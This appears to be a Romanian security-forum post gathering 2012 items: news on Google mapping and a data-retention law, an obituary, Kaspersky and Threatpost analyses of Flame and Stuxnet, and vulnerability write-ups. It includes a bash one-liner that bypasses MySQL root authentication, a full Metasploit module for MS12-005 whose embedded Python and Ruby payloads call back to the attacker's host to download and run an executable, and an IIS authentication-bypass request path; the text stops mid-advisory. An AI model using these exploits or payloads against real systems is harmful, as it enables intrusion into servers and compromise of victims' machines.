Nytro

[h=1]Noul dispozitiv pe care îl folose?te Google pentru a face harta lumii[/h]Postat la: 12.06.2012 18:01 Ultima actualizare: 12.06.2012 18:06 n ciuda avioanelor ?i camionetelor pe care le plimb? peste tot în lume, pentru a capta imagini, exist? înc? locuri în care Google nu a putut ajunge. Acum, cu noua arm? din dotare, gigantul IT va putea cartografia totul, de la un col? de jungl? la cea mai mic? alee dintr-un ora?, relateaz? Daily Mail. Este vorba despre o camer? montat? într-un rucsac, care poate fi c?rat? de orice c?l?tor, având posibilitatea s? ajung? în locurile unde vehiculele motorizate ale Google nu au putut ajunge. Dispozitivul este varianta mult mai portabil? a controversatelor camere Street View. Criticii sus?in c? dreptul la via?? privat? este înc?lcat de Google, aflat în concuren?? cu Apple. Cei doi gigan?i IT se întrec pentru a realiza h?r?i tridimensionale ?i folosesc avioane ?i ma?ini pentru a fotografia str?zi ?i case. Rucsacul care cânt?re?te 18 kilograme are mai multe camere de 15 megapixeli, un hard disk incorporat ?i o baterie care dureaz? o zi întreag?. Camerele sunt pozi?ionate astfel încât s? capteze la 360 de grade, acoperind orice unghi posibil. Sursa: Noul dispozitiv pe care îl folose?te Google pentru a face harta lumii - Gandul

[h=1]Traian Basescu a promulgat asa numita 'lege Big Brother' care prevede stocarea pentru sase luni a datelor de trafic ale tuturor utilizatorilor de telefonie si internet[/h]De Adrian Vasilache | hotnews.ro – 5 ore în urm? Presedintele Traian Basescu a semnat marti, 12 iunie, decretul pentru promulgarea Legii privind retinerea datelor de trafic (nu si a continutului) ale tuturor utilizatorilor de telefonie si internet, cunoscuta ca legea ''Big Brother''. O lege similara, adoptata in Romania in anul 2008, a fost declarata neconstitutionala un an mai tarziu, pe motive de incalcare a dreptului la viata privata. Noua lege prevede obligativitatea furnizorilor de telefonie fixa si mobila si de internet sa retina anumite date ale abonatilor care sa fie trimise, la cerere, autoritatilor din domeniul sigurantei nationale pentru actiunile de prevenire, cercetare, descoperire si urmarire a infractiunilor grave. Ce date ar trebui retinute de operatori pentru 6 luni de zile Documentul legislativ prevede ca furnizorii telecom sa retina si sa pastreze pe cheltuiala proprie timp de sase luni datele de identificare a sursei, a destinatiei, cele necesare pentru determinarea datei, orei si a duratei comunicarii, cele pentru identificarea tipului de comunicare, cele pentru identificarea echipamentului de comunicatie al utilizatorului si pentru identificarea locatiei echipamentului de comunicatii mobile. Nu trebuie retinut continutul convorbirilor. Datele necesare pentru urmarirea si identificarea sursei unei comunicari cuprind: a) in cazul retelelor de telefonie fixa si de telefonie mobila: numarul de telefon apelant, precum si numele si adresa abonatului sau ale utilizatorului inregistrat; in cazul serviciilor de acces la internet, posta electronica si telefonie prin internet: 1. identificatorul alocat; 2. identificatorul de utilizator si numarul de telefon alocat pentru efectuarea oricarei comunicari prin reteaua publica de telefonie; 3. numele si adresa abonatului sau ale utilizatorului inregistrat, caruia i s-a alocat o adresa Internet Protocol, denumita in continuare adresa IP, un identificator de utilizator sau un numar de telefon, la momentul comunicarii. Datele necesare pentru identificarea destinatiei unei comunicari cuprind: a) in cazul retelelor de telefonie fixa si de telefonie mobila: 1. numarul format sau apelat si, in cazurile care includ servicii suplimentare precum redirectionarea sau transferul apelului, numarul catre care este directionat apelul 2. numele si adresa abonatului ori ale utilizatorului inregistrat; in cazul serviciilor de acces la internet, posta electronica si telefonie prin internet: 1. identificatorul utilizatorului sau numarul de telefon al destinatarului unui apel telefonic prin internet; 2. numele si adresa abonatului sau ale utilizatorului inregistrat si identificatorul utilizatorului destinatar al comunicarii. Datele necesare pentru determinarea datei, orei si a duratei comunicarii cuprind: a) in cazul retelelor de telefonie fixa si de telefonie mobila: data si ora initierii si incheierii unei comunicari: in cazul serviciilor de acces la internet, posta electronica si telefonie prin internet: 1. data si ora conectarii si deconectarii de la serviciul de acces la Internet, adresa IP alocata dinamic sau static unei comunicari de furnizorul de servicii de acces la internet, precum si identificatorul abonatului sau al utilizatorului inregistrat; 2. data si ora conectarii si deconectarii de la serviciul de posta electronica sau de telefonie prin Internet. Mai multe gasiti in documentul atasat. Legea Big Brother: Intre incalcarea dreptului la viata privata si posibile sanctiuni de la Bruxelles Adoptarea acestei legi a fost motivata de autoritati de nevoia de a implementa in legislatia nationala a prevederilor Directivei Uniunii Europene privind retinerea datelor generate sau procesate in cadrul activitatii de furnizare de servicii de comunicatii electronice destinate publicului sau de retele publice de comunicatii. Ministrul Afacerilor Europene, Leonard Orban, avertiza la inceputul lunii mai din acest an ca Romania risca sa plateasca Comisiei Europene penalizari de peste 30.000 de euro pentru fiecare zi de intarziere in adoptarea legii retinerii datelor de comunicatii. Pe de alta parte trebuie amintit faptul ca o lege similara, adoptata in Romania in anul 2008, a fost declarata neconstitutionala un an mai tarziu, pe motive de incalcare a dreptului la viata privata. In luna februarie din acest an, mai multe ONG-uri si asociatii au avertizat ca noua propunere legislativa nu doar ca nu rezolva problemele de neconstitutionalitate, ci chiar este o varianta mai periculoasa pentru drepturile cetatenilor, cu o procedura vaga si neclara de acces la date. Sursa: Traian Basescu a promulgat asa numita 'lege Big Brother' care prevede stocarea pentru sase luni a datelor de trafic ale tuturor utilizatorilor de telefonie si internet - Yahoo! ?tiri România

Comunitatea informatica comemoreaza disparitia lui Mihai Patrascu, romanul care a obtinut cele mai multe premii la olimpiadele internationale de MVA HotNews.ro Mar?i, 12 iunie 2012, 16:18 Actualitate | Esen?ial Mihai Patrascu Foto: AT&T ? ?Mihai Patrascu este considerat a fi cel mai bun exponent al scolii informatice romanesti din ultimul deceniu. A fost absolvent al MIT (Massachusetts Institute of Technology), lucrarea sa de doctorat obtinand premiul prestigioasei universitati americane pentru cea mai buna teza. Mihai Patrascu a castigat patru medalii de aur si trei de argint la olimpiadele internationale de informatica, fiind situat in primii 20 de medaliati din lume. Din 2009 a lucrat in cadrul echipei de cercetare a laboratoarelor AT&T din SUA. In urma cu un an a fost diagnosticat cu cancer si a murit la 29 de ani, pe 5 iunie 2012. Mihai Patrascu s-a nascut la Craiova si a castigat premiul intai la noua olimpiade nationale de informatica. A fost ales membru al Comitetului Stiintific al Olimpiadei Internationale de Informatica si, in 2012, a castigat premiul Presburger pentru "revolutionarea domeniului de structuri de date in care nu se mai inregistrasera progrese in ultimul deceniu", acordat de Asociatia Europeana de Informatica Teoretica. Intr-un interviu pentru metropotam.ro, Mihai Patrascu a explicat cercetarile pe care le dezvolta la MIT: "O structura de date inseamna o baza de date care sta si e pregatita sa raspunda la intrebari. Spre exemplu, Google este o structura de date imensa care sta si asteapta intrebari despre Web. Acum, intrebarea este cat de multa memorie ocupa structura de date si cat de rapid raspunde la intrebari. Scopul in informatica teoretica este sa gasim raspunsul optim la cat de eficienta poate fi structura de date." Patrascu este unul dintre cei mai apreciati cercetatori tineri la nivel international in informatica teoretica. Mihai Patrascu a primit premiul pentru cel mai bun student in cercetare in SUA si Canada (2005) si este citat de 480 de ori in Google Scholar Citations. Inmormantarea a avut loc marti, la Craiova. Comunitatea informatica din Romania a organizat un concurs Remember Mihai Patrascu (prin Infoarena) "ca semn de adanca recunostinta pentru impactul enorm pe care Mihai l-a avut in cadrul comunitatii de olimpici in informatica". Mai multe despre cariera lui Mihai Patrascu puteti afla aici. Sursa: Comunitatea informatica comemoreaza disparitia lui Mihai Patrascu, romanul care a obtinut cele mai multe premii la olimpiadele internationale - Esential - HotNews.ro

[h=4]Stuxnet Using This 0Day Ms10-046[/h] Description: Stuxnet using this 0day MS10-046 Sursa: Stuxnet Using This 0Day Ms10-046

[h=4]Creating Fake Https Pages With Sslstrip And Mitm[/h] Description: sslstrip is used to hijack HTTP traffic on a network, watch for HTTPS links and redirects, then map those links into either look-alike HTTP links or homograph-similar HTTPS links. It also supports modes for supplying a favicon which looks like a lock icon, selective logging, and session denial. For more information on the attack, see the video from the presentation below. this video is simple demo of creating fake https page with this tool. Sursa: Creating Fake Https Pages With Sslstrip And Mitm

[h=1]Back to Stuxnet: the missing link[/h] Aleks Kaspersky Lab Expert Posted June 11, 13:30 GMT Tags: Flame, Cyber weapon, Cyber espionage, Vulnerabilities and exploits, Stuxnet Two weeks ago, when we announced the discovery of the Flame malware we said that we saw no strong similarity between its code and programming style with that of the Tilded platform which Stuxnet and Duqu are based on. Flame and Tilded are completely different projects based on different architectures and each with their own distinct characteristics. For instance, Flame never uses system drivers, while Stuxnet and Duqu’s main method of loading modules for execution is via a kernel driver. But it turns out we were wrong. Wrong, in that we believed Flame and Stuxnet were two unrelated projects. Our research unearthed some previously unknown facts that completely transform the current view of how Stuxnet was created and its link with Flame. The Flame inside Stuxnet First of all, let’s recap the Stuxnet story. We managed to recover just three different variants of the worm, created in June 2009, and in March and April 2010. The March 2010 variant was responsible for the greatest number of infections and was detected in June 2010 by specialists from the company VirusBlokAda in Belarus. This particular version was subjected to the most detailed analysis by anti-malware companies. Shortly afterwards, when news of Stuxnet had already become widespread, files related to its June 2009 incarnation were detected. This version, the so-called Stuxnet.A (1.0), differed considerably from the 2010 variants. The main differences were: The 2009 variant didn’t use the MS10-046 LNK file vulnerability In 2009, Stuxnet only had one driver file; in 2010 there were two (the second was added specifically to work with the LNK vulnerability) In 2009, Stuxnet used a special trick with the “autorun.inf” file to infect USB drives. All the other differences involve minor modifications to Stuxnet’s internal structure – some modules were deleted and their functions transferred to other modules. The most significant of those changes involved “resource 207”. Resource “207” is 520,192 bytes in size and can be found in the 2009 version of Stuxnet. It was later dropped altogether in the 2010 version, its code merged into other modules. List of resources in the March 2010 variant of Stuxnet List of resources in the 2009 variant of Stuxnet Despite the fact that Stuxnet has been the subject of in-depth analysis by numerous companies and experts and lots has been written about its structure, for some reason, the mysterious “resource 207” from 2009 has gone largely unnoticed. But it turns out that this is the missing link between Flame and Stuxnet, two seemingly completely unrelated projects. The Tocy story In October 2010, our automatic system received a sample from the wild. It analyzed the file thoroughly and classified it as a new Stuxnet variant, Worm.Win32.Stuxnet.s. With Stuxnet being such a big thing, we looked at the sample to see what it was! Sadly, it didn’t look like Stuxnet at all, it was quite different. So we decided to rename it to Tocy.a and thought “silly automatic systems!”. When Flame was discovered in 2012, we started looking for older samples that we might have received. Between samples that looked almost identical to Flame, we found Tocy.a. Going through the sample processing system logs, we noticed it was originally classified as Stuxnet. We thought, how was it possible? Why did the system think that this Flame sample was related to Stuxnet? Checking the logs, we discovered that the Tocy.a, an early module of Flame, was actually similar to “resource 207” from Stuxnet. It was actually so similar, that it made our automatic system classify it as Stuxnet. Practically, Tocy.a was similar to Stuxnet alone and to no other sample from our collection. Going back to the story, this is how we discovered the incredible link between Flame and Stuxnet. Resource 207 Resource 207 is an encrypted DLL file that contains another PE file inside (351,768 bytes). Information about the date of the module’s creation Information about the file in the resource 207 This PE file, 351,768 bytes in size, is actually a Flame plugin. Or, to be more precise, "proto-Flame" – a module that obviously has a lot in common with the current version of “mssecmgr.ocx” and which had evolved into Flame by 2012. We think it’s actually possible to talk about a ‘Flame’ platform, and that this particular module was created based on its source code. A few days ago on Twitter I saw a rather humorous tweet that said Flame was so “hardcore” that a whole Stuxnet was contained in its bases. It turns out that Stuxnet’s resources actually contain a Flame platform component! The correlations with the current variations of Flame include the following: Mutex names: TH_POOL_SHD_PQOMGMN_%dSYNCMTX and TH_POOL_SHD_MTX_GMN94XQ_%d String decryption algorithm Mangled class names: ?AVnxys_uwip and so on. Similar name to that used in the Flame architecture - with .ocx files (atmpsvcn.ocx) Moreover, the file contains hallmarks that were earlier considered exclusive to Stuxnet: Names of “trigger” files: %temp%\dat3A.tmp & snsm7551.tmp Utilitarian module parsing functions and their interrelation and architecture Principles for assembling function return codes Similar shellcode style Structure for describing the version of vulnerable operating systems and checking algorithm Its own import This is atmpsvcn.ocx – a Flame platform module inside Stuxnet. Interestingly, the current variants of Flame rely on the dat3C.tmp file, whereas the Flame module inside Stuxnet used the “dat3a.tmp” file as an identifier to flag its presence in the system. One can wonder if there was also a “dat3b.tmp” somewhere in time. Whole pieces of code from the latest Flame modules are identical to the code in atmpvsvcn.ocx. Of course, the most obvious similarity is the mutex names: TH_POOL_SHD_PQOMGMN_%dSYNCMTX TH_POOL_SHD_MTX_GMN94XQ_%d Moreover, there are other known Flame modules using mutex TH_POOL_SHD_MTX_FSW95XQ_%d, that we have dated to 2010, e.g. comspol32.ocx. The matches are even more impressive at the code level: getdecrypted function from Resource 207 getdecrypted function from mssecmgr.ocx DecrypString function from Resource 207 DecryptString function from mssecmgr.ocx DecryptString function from browse32.ocx (the Flame uninstaller module circulating in May-June 2012) Mutex used in Resource 207 Mutex used in mssecmgr.ocx Resource 207’s main functionality was to ensure Stuxnet propagation to removable USB drives via autorun.inf, as well as to exploit a then-unknown vulnerability in win32k.sys to escalate privileges in the system at stage of infection from USB drive. Map of resources in Stuxnet 2009 Spreading via autorun.inf is another trick that the Stuxnet 2009 version and the current variants of Flame have in common. Resource 207 operates as an infector of removable drives, copying “Flame” module as “autorun.inf” file to removable media and adding a special real autorun.inf file at end of PE file. The Main body of Stuxnet copied to USB drive as “~XTRVWp.dat” file. The PE file is correctly processed by the operating system as real autorun.inf and hence the module is executed when an infected device is accessed. After this, the Flame module loads ~XTRVWp.dat (main Stuxnet body) from the USB drive and injects it to system process via using EoP vulnerability. This particular code, which exactly matches the code in resource 207, is currently used by Flame, where it is executed by the “Autorun_infector” module. An old 0-day The Stuxnet Resouce 207 Flame-module contains an Escalation of Privilege exploit and is using it at stage of infection from USB drive for injecting main Stuxnet body to system processes. This is of interest in its own right. The exploit code in the file atmpsvcn.ocx is similar to that which we, Kaspersky Lab, found in the 2010 versions of Stuxnet and which was subsequently addressed by the MS10-073 patch. The code’s style, logic and details of its implementation were the same in the 2009 and 2010 code. Clearly, these two pieces of exploit code were written by the same programmer. However, a different exploit targeting a different vulnerability, which was older and was patched by 2010, was used in the 2009 version of Stuxnet. At the time when “resource 207” was created (February 2009), the vulnerability was not publicly known and was thus, it was a true 0-day vulnerability. Essentially, the vulnerability consists of the absence of input data checking, allowing the NtUserRegisterClassExWOW() function to overwrite a WORD of data beyond the allocated memory range in win32k. The function’s address in the _gpsi structure is overwritten with the address of the shellcode in two steps. Then the NtUserMessageCall() function is called, which passes control to the shellcode with kernel-level privileges. Neither function is exported to user mode, which means that addresses and parameters for calling services directly can be found by parsing modules on disk (user32&win32k). This vulnerability description is strikingly similar to that of vulnerability “Windows Kernel Could Allow Elevation of Privilege (968537)”, which was closed in June 2009 with patch MS09-025; however, we are still analyzing the code and can’t provide a 100% confirmation of this as yet. The main function exploiting the EoP vulnerability in Stuxnet 2009 The main function exploiting the EoP vulnerability in Stuxnet 2010 Code used to call controlled functions in the 2009 vulnerability Code used to call controlled functions in the MS010-073 vulnerability Conclusions Our analysis suggest several important conclusions, which we summarize below: By the time Stuxnet was created (in January-June 2009), the Flame platform was already in existence (we currently date its creation to no later than summer 2008) and already had modular structure. The Stuxnet code of 2009 used a module built on the Flame platform, probably created specifically to operate as part of Stuxnet. The module was removed from Stuxnet in 2010 due to the addition of a new method of propagation (vulnerability MS10-046) instead of the “old” autorun.inf The Flame module in Stuxnet exploited a vulnerability which was unknown at the time, a true 0-day. This enabled an escalation of privileges, presumably exploiting MS09-025 After 2009, the evolution of the Flame platform continued independently from Stuxnet. The above conclusions point to the existence of two independent developer teams, which can be referred to as ”Team F” (Flame) and ”Team D” (Tilded). Each of these teams has been developing its own platform since 2007-2008 at the latest. In 2009, part of the code from the Flame platform was used in Stuxnet. We believe that source code was used, rather than complete binary modules. Since 2010, the platforms have been developing independently from each other, although there has been interaction at least at the level of exploiting the same vulnerabilities. Sursa: Back to Stuxnet: the missing link - Securelist

[h=1]Diving Into Flame, Researchers Find A Link To Stuxnet[/h]by Dennis Fisher, Paul Roberts June 11, 2012, 9:35AM Researchers digging through the code of the recently discovered Flame worm say they have come across a wealth of evidence that suggests Flame and the now-famous Stuxnet worm share a common origin. Researchers from Kaspersky Lab say that a critical module that the Flame worm used to spread is identical to a module used by Stuxnet.a, an early variant of the Stuxnet worm that began circulating in 2009, more than a year before a later variant of the worm was discovered by antivirus researchers at the Belarussian firm VirusBlokAda. The claims are the most direct, to date, that link the Flame malware, which attacked Iranian oil facilities, with Stuxnet, which is believed to have targeted Iran's uranium-enrichment facility at Natanz. If true, they suggest a widespread and multi-year campaign of offensive cyber attacks against multiple targets within that country. According to the Kaspersky researchers, early versions of Stuxnet were, in fact, created out of components that were part of what they refer to as the "Flame platform". But they believe development of the two malicious programs diverged after 2009, suggesting that two different development teams may have been working independently for a single entity to create malware with specific objectives, according to Kaspersky researchers, writing on the company's blog, Securelist. Researchers at Kaspersky and elsewhere initially thought that Stuxnet and Flame were very different pieces of software, and that there was little evidence of a link or common ancestor. However, there was plenty of circumstantial evidence from the start that suggested some connection. For one thing, both Stuxnet and Flame infections were concentrated in Iran and neighboring countries - an unusual pattern of infection compared to other malware. Second, Flame relied on many of the same mechanisms to spread from computer to computer, including USB-based infections and exploitation of a vulnerabilities in Windows' Autorun feature and a print spooler vulnerability - both of which were used by Stuxnet to spread. Subsequent research suggests that claims about the distinctness of Flame were premature. In their work, Kaspersky researchers worked off clues generated by their own automated virus analysis technology, which spotted a malicious file that it considered a variant of Stuxnet in October 2010. Kaspersky analysts at the time studied the variant and saw few similarities to Stuxnet. They dismissed the categorization as a "false positive" and renamed the malware "Tocy.a" More than two years later, however, those same researchers stumbled on Tocy.a as they looked for older malware samples that resembled Flame. Noting the history of Tocy.a and its initial designation as a Stuxnet variant, the researchers probed deeper into why the companies artificial intelligence saw the two pieces of malicious code as so similar to each other, but not to other samples from Kaspersky's massive library of malware. Their conclusion: a module originally found in an early Stuxnet variant dubbed "Resource 207." The module, a little more than 350,000 bytes long, was used by Stuxnet.a to to do "privilege escalation" - tricks to give the attackers administrator-level access to systems they compromise. Resource 207 disappeared from later versions of Stuxnet that spread more widely and, thus, received more attention from researchers - its code absorbed into other Stuxnet components. Looked at closely, however, Resource 207 from the early version of Stuxnet was nearly identical to a module in the Flame malware. Kaspersky now considers it a "Flame plug-in. Or, to be more precise proto-Flame." In fact, it matches almost exactly with a contemporary Flame file called "mssecmgr.ocx." The two elements contain similar bones: components with nearly identical names, identical string decryption algorithms and nearly identical methods of writing shell code components within each. Like handwriting analysts, the Kaspersky researchers have concluded that at least some elements of both Stuxnet and Flame were created by the same hand - or hands. Resource 207 is, they believe, an early component of what they now consider the 'Flame' platform. "By the time Stuxnet was created (in January-June 2009), the Flame platform was already in existence," the researchers write. "we currently date [Flame's] creation to no later than summer 2008, [when it] already had a modular structure." The worm known as Stuxnet, they believe, used a module built on the Flame platform. That module was probably created specifically to operate as part of Stuxnet. Researchers believe it originally exploited a previously unknown (zero-day) vulnerability that enabled an escalation of privileges, presumably by exploiting an issue later patched by Microsoft with MS09-025. The module was then removed in 2010 as the Stuxnet authors shifted focus to a new method of propagation using the vulnerability patched by Microsoft in its MS10-046 update in August 2010. After 2009, the evolution of the Flame platform continued independently from Stuxnet, and Kaspersky researchers theorize that the work on the malicious programs was tasked to two independent developer teams, which they termed ”Team F” (Flame) and ”Team D” (for "Tilded," the Stuxnet program). "Each of these teams has been developing its own platform since 2007-2008 at the latest, but snippets of their common origins appear in both pieces of malware." In addition to the concrete link between Flame and Stuxnet, researchers also discovered that there was a fifth zero-day vulnerability being used by a version of Stuxnet is 2009, which was included in the resource 207 module shared by Stuxnet and Flame. Exploit code for that flaw, which is an elevation-of-privilege bug, was included in a variant of Stuxnet that was in use in early 2009. The code for that variant was compiled in February 2009 and the bug was unknown at the time. Microsoft patched the vulnerability with bulletin MS09-025, four months later. "The same programmer who did the attack on this bug and the MS10-073 bug used in Stuxnet.b, which also was an elevation of privilege," Roel Schouwenberg, a senior malware researcher at Kaspersky, said in a press conference Monday. "It was definitely very interesting to see." Schouwenberg said that researchers are unsure why resource 207 was removed from the Stuxnet code at some point, but it may have been a way to keep the two attack tools separate. "One theory is that Flame was a more general purpose cyber-espionage tool and they didn't want to mix the two platforms more than was necessary," he said. The implications of the researchers' discoveries are intriguing. Many security experts will be unsurprised to learn that two pieces of malicious code with such similar targets and objectives may have come from the same source. Many assumed the Flame malware had links back to a foreign government, rather than criminal hacking groups. News last week about the worm's use of a never-before-seen cryptographic collision attack to enable the malware to impersonate a Microsoft software update more or less sealed the case. However, recent news reports citing unnamed government sources give the U.S. credit for creating Stuxnet. That suggests that the U.S. or its allies may have been behind the Flame malware also. That, in turn, has stoked public debate about the wisdom of conducting offensive cyber operations - covert or otherwise. That debate, like the investigation into Flame itself, is likely to intensify, rather than fade, as time goes by. Sursa: https://threatpost.com/en_us/blogs/diving-flame-researchers-find-link-stuxnet-061112

https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql http://pastie.org/4064638

CVE-2012-2122 : Serious Mysql Authentication Bypass Vulnerability A serious security bug in MariaDB and MySQL Disclosed, According to Advisory All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable. This issue got assigned an id CVE-2012-2122. When a user connects to MariaDB/MySQL, a token (SHAover a password and a random scramble string) is calculated and comparedwith the expected value. Because of incorrect casting, it might'vehappened that the token and the expected value were considered equal,even if the memcmp() returned a non-zero value. In this caseMySQL/MariaDB would think that the password is correct, even while it isnot. Because the protocol uses random strings, the probability ofhitting this bug is about 1/256." "Which means, if one knows a user name to connect (and "root" almostalways exists), she can connect using *any* password by repeatingconnection attempts. ~300 attempts takes only a fraction of second, sobasically account password protection is as good as nonexistent.Any client will do, there's no need for a special libmysqlclient library." The following one-liner in bash will provide access to an affected MySQL server as the root user account, without actually knowing the password. $ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done mysql> Defense: The first rule of securing MySQL is to not expose to the network at large in the first place. Most Linux distributions bind the MySQL daemon to localhost, preventing remote access to the service. In cases where network access must be provided, MySQL also provides host-based access controls. There are few use cases where the MySQL daemon should be intentionally exposed to the wider network and without any form of host-based access control. the easiest thing to do is to modify the my.cnf file in order to restrict access to the local system. Open my.cnf with the editor of your choice, find the section labeled [mysqld] and change (or add a new line to set) the "bind-address" parameter to "127.0.0.1". Restart the MySQL service to apply this setting. Note: Download The Latest Exploits for CVE-2012-2122 From our TOOLS YARD section.Sursa: CVE-2012-2122 : Serious Mysql Authentication Bypass Vulnerability | The Hacker News

W3Schools e un jeg, pe langa faptul ca e foarte putina documentatie, deseori e si stupida. Uitati aici tutorial HTML: http://www.w3.org/TR/html5/single-page.html

Flame malware extinguished by creators [h=3]Code auto-uninstalls using newly-sent command[/h] The originators of the accidentally-discovered Flame malware may have sent commands to the controlled machines to delete and overwrite itself. Interestingly, rather than use a pre-existing command in the code, aptly titled SUICIDE, the controllers sent a whole new directive file that assisted in the auto-uninstallation. Symantec reports compromised computers were sent a file called browse32.ocx, which contains a list of files to delete without leaving any trace of the original infection. It is unknown why the new command was sent, rather than the utilization of the already extant component in the Flame code. The specific list of files deleted can be found on the Symantec webpage. Flame was accidentally discovered while another malware threat was being investigated. Microsoft released a high-priority update and security advisory after parts of the Flame malware were found to be signed with reverse-engineered Microsoft Root Authority certificates. By Electronista Staff Read more: Flame malware extinguished by creators | Electronista

MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE include Msf::Exploit::Remote::TcpServer def initialize(info={}) super(update_info(info, 'Name' => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Office's ClickOnce feature. When handling a Macro document, the application fails to recognize certain file extensions as dangerous executables, which can be used to bypass the warning message. This allows you to trick your victim into opening the malicious document, which will load up either a python or ruby payload based on your choosing, and then finally download and execute our executable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yorick Koster', #Vuln discovery 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2012-0013'], ['OSVDB', '78207'], ['MSB', 'ms12-005'], ['BID', '51284'], ['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'], ['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none", 'DisablePayloadHandler' => 'false' }, 'Platform' => 'win', 'Targets' => [ ['Microsoft Office Word 2007/2010 on Windows 7', {}], ], 'Privileged' => false, 'DisclosureDate' => "Jan 10 2012", 'DefaultTarget' => 0)) register_options( [ OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]), OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) ], self.class) end # # Return the first-stage payload that will download our malicious executable. # def get_download_exec_payload(type, lhost, lport) payload_name = Rex::Text.rand_text_alpha(7) # Padd up 6 null bytes so the first few characters won't get cut off p = "\x00"*6 case type when :rb p << %Q| require 'socket' require 'tempfile' begin cli = TCPSocket.open("#{lhost}",#{lport}) buf = '' while l = cli.gets buf << l end cli.close tmp = Tempfile.new(['#{payload_name}','.exe']) t = tmp.path tmp.binmode tmp.write(buf) tmp.close exec(t) rescue end#| when :py p << %Q| import socket import tempfile import os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("#{lhost}", #{lport})) buf = "" while True: data = s.recv(1024) if data: buf += data else: break s.close temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe" f = open(temp, "wb") f.write(buf) f.close f = None os.system(temp) #| end p = p.gsub(/^\t\t\t/, '') return p end # # Reads a file that'll be packaged. # This will patch certain files on the fly, or return the original content of the file. # def on_file_read(fname, file) f = open(file, 'rb') buf = f.read f.close # Modify certain files on the fly case file when /oleObject1\.bin/ # Patch the OLE object file with our payload print_status("Patching OLE object") ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb p = get_download_exec_payload(ptype, @ip, @port) buf = buf.gsub(/MYPAYLOAD/, p) # Patch username username = Rex::Text.rand_text_alpha(5) buf = buf.gsub(/METASPLOIT/, username) buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username)) # Patch the filename f = Rex::Text.rand_text_alpha(6) buf = buf.gsub(/MYFILENAME/, f) buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f)) # Patch the extension name ext = ptype.to_s buf = buf.gsub(/MYEXT/, ext) buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext)) when /document\.xml/ print_status("Patching document body") # Patch the docx body buf = buf.gsub(/W00TW00T/, datastore['BODY']) end # The original filename of __rels is actually ".rels". # But for some reason if that's our original filename, it won't be included # in the archive. So this hacks around that. case fname when /__rels/ fname = fname.gsub(/\_\_rels/, '.rels') end yield fname, buf end # # Packages the Office Macro Document # def package_docm_rex(path) zip = Rex::Zip::Archive.new Dir["#{path}/**/**"].each do |file| p = file.sub(path+'/','') if File.directory?(file) print_status("Packging directory: #{file}") zip.add_file(p) else on_file_read(p, file) do |fname, buf| print_status("Packaging file: #{fname}") zip.add_file(fname, buf) end end end zip.pack end # # Return the malicious executable # def on_client_connect(cli) print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)") cli.put(@exe) service.close_client(cli) end def exploit @ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @port = datastore['SRVPORT'] print_status("Generating our docm file...") path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013') docm = package_docm_rex(path) file_create(docm) print_good("Let your victim open #{datastore['FILENAME']}") print_status("Generating our malicious executable...") @exe = generate_payload_exe print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}") super end end =begin mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c 1c1 < void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) --- > const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) ... 24c24 < if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) --- > if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) 31c31 =end Sursa: MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability Video: http://www.youtube.com/watch?v=Odi6HiqzmL8&feature=youtu.be&hd=1

[h=1]Microsoft IIS 6.0 and 7.5 Multiple Vulnerabilities[/h] THIS IS A GENUINE ISOWAREZ RELEASE ******************************************************** ------------------------------------------------------------------------------------------------------------------------------------------------------------ Title: Microsoft IIS 6.0 with PHP installed Authentication Bypass Affected software: Microsoft IIS 6.0 with PHP installed (tested on Windows Server 2003 SP1 running PHP5) Details: By sending a special request to the IIS 6.0 Service running PHP the attacker can successfully bypass access restrictions. Take for example: 1.) IIS/6.0 has PHP installed 2.) There is a Password Protected directory configured --> An attacker can access PHP files in the password protected directory and execute them without supplying proper credentials. --> Example request (path to the file): /admin::$INDEX_ALLOCATION/index.php IIS/6.0 will gracefully load the PHP file inside the "admin" directory if the ::$INDEX_ALLOCATION postfix is appended to directory name. This can result in accessing administrative files and under special circumstances execute arbirary code remotely. ------------------------------------------------------------------------------------------------------------------------------------------------------------ Title: Microsoft IIS 7.5 Classic ASP Authentication Bypass Affected 